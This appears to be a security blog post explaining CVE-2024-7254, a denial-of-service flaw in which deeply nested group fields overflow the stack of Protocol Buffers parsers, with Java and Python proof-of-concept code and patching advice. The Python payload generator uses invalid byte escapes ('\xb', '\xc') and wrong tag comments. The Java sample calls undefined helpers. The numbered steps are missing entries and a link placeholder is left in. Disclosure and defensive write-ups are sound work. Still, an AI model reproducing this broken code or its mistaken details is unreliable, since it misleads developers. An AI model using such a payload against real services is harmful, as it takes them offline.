If your app uses Protocol Buffers to receive data—especially from untrusted sources—you must pay attention. A recently disclosed issue, tracked as CVE-2024-7254, exposes how parsing arbitrarily nested groups in Protocol Buffers can lead to stack overflows and possible denial-of-service (DoS) attacks. This blog dives deep into what’s vulnerable, who’s at risk, how the exploit works, and how to defend yourself.

The Vulnerability in Simple Terms

CVE-2024-7254 impacts projects that use Protocol Buffers (protobuf for short)—a common way to encode and decode data—for communicating between systems.

The key problem:
If someone sends protobuf messages packed with a *large number* of nested group fields (SGROUP tags), the parsing logic will "dive down" those layers recursively. At some point, this hits your environment’s maximum call stack size, causing a stack overflow crash.

What makes this worse?

The attack also works on unknown fields (fields your current definition doesn’t know about!).

- Even parsing with DiscardUnknownFieldsParser or the *Java Protobuf Lite* parser won’t fully protect you.

Recursion can also happen when parsing malformed or crafted map fields.

For attackers, this means one thing: a reliable way to crash systems or potentially exploit deeper vulnerabilities.

Who’s at Risk?

- Any service or project reading untrusted protobuf data—from the open Internet, user uploads, external APIs, or partners.
- Languages: Java, especially with the Lite parser; but the problem *may exist* in other languages or platforms.
- Use cases: GRPC APIs, data ingestion pipelines, push notification systems, chat servers, web backends, microservices, or any code that turns raw data into objects with ProtoBuf.

This message is packed with many groups nested inside other groups.

3. Each group is encoded with the SGROUP field tag (start group/end group—a legacy but still supported protobuf structure).

Your protobuf parser tries to read the message.

5. Each level of nesting makes the parser call itself recursively (function calling itself deeper and deeper).
6. When enough levels are reached, the program runs out of stack space and crashes with a stack overflow.

Attackers can automate crafting and sending such messages, causing service denial or possibly exploiting the instability to run further attacks.

Suppose you define a proto message like this (just for illustration)

message MyMsg {
    optional string data = 1;
}

You expect well-behaved clients to send you MyMsg objects.

Hex dump (Pseudo)

<start_group_100x>
<end_group_100x>

Your parser will recursively process each group, deep into the stack, eventually hitting the limit and crashing.

Example in Java

import com.google.protobuf.InvalidProtocolBufferException;
import mypackage.MyMsg;

public class Main {
    public static void main(String[] args) {
        // Suppose malData is a byte array with 10,000 nested groups.
        byte[] malData = Builder.generateMaliciousProtobuf();

        try {
            MyMsg msg = MyMsg.parseFrom(malData);  // <-- This causes a crash!
            System.out.println(msg.getData());
        } catch (InvalidProtocolBufferException e) {
            System.err.println("Failed to parse the message: " + e.getMessage());
        }
    }
}

If you parse with DiscardUnknownFieldsParser or ProtoBuf Lite, you’re still vulnerable

import com.google.protobuf.DiscardUnknownFieldsParser;

MyMsg msg = DiscardUnknownFieldsParser.parseFrom(MyMsg.parser(), malData);
// Still vulnerable!

Python Example

Similar stack exhaustion would occur in Python, if its implementation receives such messages.

CVE entry:

https://nvd.nist.gov/vuln/detail/CVE-2024-7254

- Upstream fix / Report:
- Google Protobuf issue #13913
- GitHub Advisory Database *(replace with actual link when available)*

Exploit Payload Example

The following Python script creates a malicious protobuf payload with deeply nested groups, demonstrating how easy it is to trigger the stack overflow.

def build_malicious_groups(depth):
    # xB: start group (field number 1, wire type 3)
    # xC: end group (field number 1, wire type 4)
    group_start = b'\xb'
    group_end = b'\xc'
    return group_start * depth + group_end * depth

# Write to file for testing with your parser
with open('malicious.bin', 'wb') as f:
    f.write(build_malicious_groups(15000))  # 15,000 nested groups!

Try to load malicious.bin with any vulnerable protobuf parser—you’ll quickly see a crash!

Limit Message Depth:

If your environment allows, set a custom limit on nesting depth for unknown fields or groups during parsing.

Conclusion

CVE-2024-7254 highlights why it’s vital to consider parser limits and the dangers of untrusted input with recursive data formats like Protocol Buffers. If you use protobuf anywhere in your stack—especially in Java—review your dependencies, apply the latest patches, and add defensive checks as soon as you can.

Stay safe, stay patched!

*If you found this post useful, share it with your team and check your dependencies today. For ongoing advisories, subscribe to MITRE’s CVE feed.*

References

- CVE-2024-7254 Details (NVD)
- Google Protocol Buffers
- Security Advisory Example

Timeline

Published on: 09/19/2024 01:15:10 UTC
Last modified on: 04/19/2025 01:15:44 UTC